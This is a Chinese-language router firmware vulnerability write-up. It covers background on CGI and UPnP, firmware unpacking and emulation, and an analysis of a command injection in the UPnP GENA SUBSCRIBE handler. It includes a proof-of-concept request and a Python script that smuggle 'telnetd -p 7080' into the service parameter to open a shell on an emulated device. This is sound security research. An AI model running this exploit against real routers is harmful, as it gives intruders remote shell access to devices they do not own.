参考链接:
https://mp.weixin.qq.com/s/Org5SNM_5uj3mvap_rSpug
https://zhuanlan.zhihu.com/p/25013398

背景知识

CGI

CGI(Common Gateway Interface)通用网关接口,规定了Web服务器调用CGI程序的接口协议标准。CGI程序是一个独立的程序,它可以用几乎所有语言编写,包括C、Perl、Shell、Visual Basic、AppleScript等。CGI程序的作用是处理用户提交的数据并返回处理结果。CGI程序可以是一个简单的计算器,也可以是一个复杂的数据库查询程序。

CGI

通常情况下,服务器和CGI程序在Web环境变量的协作下,通过标准输入(stdin)和标准输出(stdout)来进行数据传递。

UPnP

UPnP(Universal Plug and Play)通用即插即用,是由微软提出的一种通用即插即用技术,后续联合英特尔等多家科技公司共同制定了UPnP标准。
UPnP

UPnP协议体系结构中主要协议和规范包括:

  • SSDP(Simple Service Discovery Protocol)简单服务发现协议,用于发现网络中的UPnP设备。
  • GENA(Generic Event Notification Architecture)通用事件通知结构,用于及时通知状态变化。
  • SOAP(Simple Object Access Protocol),简单对象访问协议,用于保证UPnP设备具有互操作能力。
  • XML(Extensible Markup Language)可扩展标记语言,对设备和服务进行统一的描述。

当加入一个新的UPnP设备时,工作流程如下:

  1. 设备加入网络后通过设备寻址(addressing)就可自动获得IP地址;
  2. 通过设备发现(discover)控制点就可知道网络上存在哪些设备;
  3. 通过设备描述(description)控制点就可知道设备详细信息以及设备提供哪些服务;
  4. 通过设备控制(control)控制点可以使用设备的服务;
  5. 通过设备事件(event)就可以将其状态变化及时告诉给订阅的控制点;
  6. 通过设备展示(presentation)控制点可以用浏览器察看设备状态和控制设备。

通过上述六个步骤,UPnP设备可以做到在“零配置”的前提下提供联网设备之间的自动发现、自动声明、“直接”信息交换和互操作等功能,真正实现“设备即插即用”。

进入正题

固件解包

固件地址

固件解包使用的是binwalk,解包命令如下:

1
binwalk -Me GORTAC750_A1_FW_v101b03.bin

解包后进入squashfs-root目录,查看目录结构:
目录结构

查看/usr/sbin文件夹下的文件,发现有telnetd,可正向bind端口,提供shell

开启模拟器

1
./fat.py /home/iot/Desktop/1/GORTAC750_A1_FW_v101b03.bin

由于在上篇博客设置了120秒超时,故此处需要等待约两分钟

可见IP地址为192.168.0.1

尝试使用nmap探测端口

根据已公开的若干CVE可知,49152为我们的目标端口,是UPnP的端口,具有命令注入漏洞,POC如下:

1
2
3
4
5
SUBSCRIBE /gena.cgi?service=;telnetd -p 7080 HTTP/1.1
Host: 192.168.0.1:49152
Callback: <http://192.168.0.1/>
NT: upnp:event
Timeout: Second-infinite

python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from socket import *
from os import *
from time import *

request = b"SUBSCRIBE /gena.cgi?service=;telnetd -p 7080 HTTP/1.1\r\n"
request += b"Host: 192.168.0.1:49152\r\n"
request += b"Callback: <http://192.168.0.1/>\r\n"
request += b"NT: upnp:event\r\n"
request += b"Timeout: Second-infinite\r\n\r\n"

s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(request)

sleep(1)
system('telnet 192.168.0.1 7080')

反编译CGI

htdocs下的cgibin拖入IDA,查看genacgi_main

注意到其中检查了是否包含service参数,且是否为SUBSCRIBE方法,若是则调用sub_40E700函数,跟进之。可见经过处理以及获取环境变量送入xmldbc_ephp执行。

注意到"/htdocs/upnp/run.NOTIFY.php",查看之

注意到GENA_subscribe_new函数,搜索并查看其实现



注意fwrite(a, $shell_file, "rm -f ".$shell_file."\n");,其未对输入shell_file做过滤,可构造命令注入。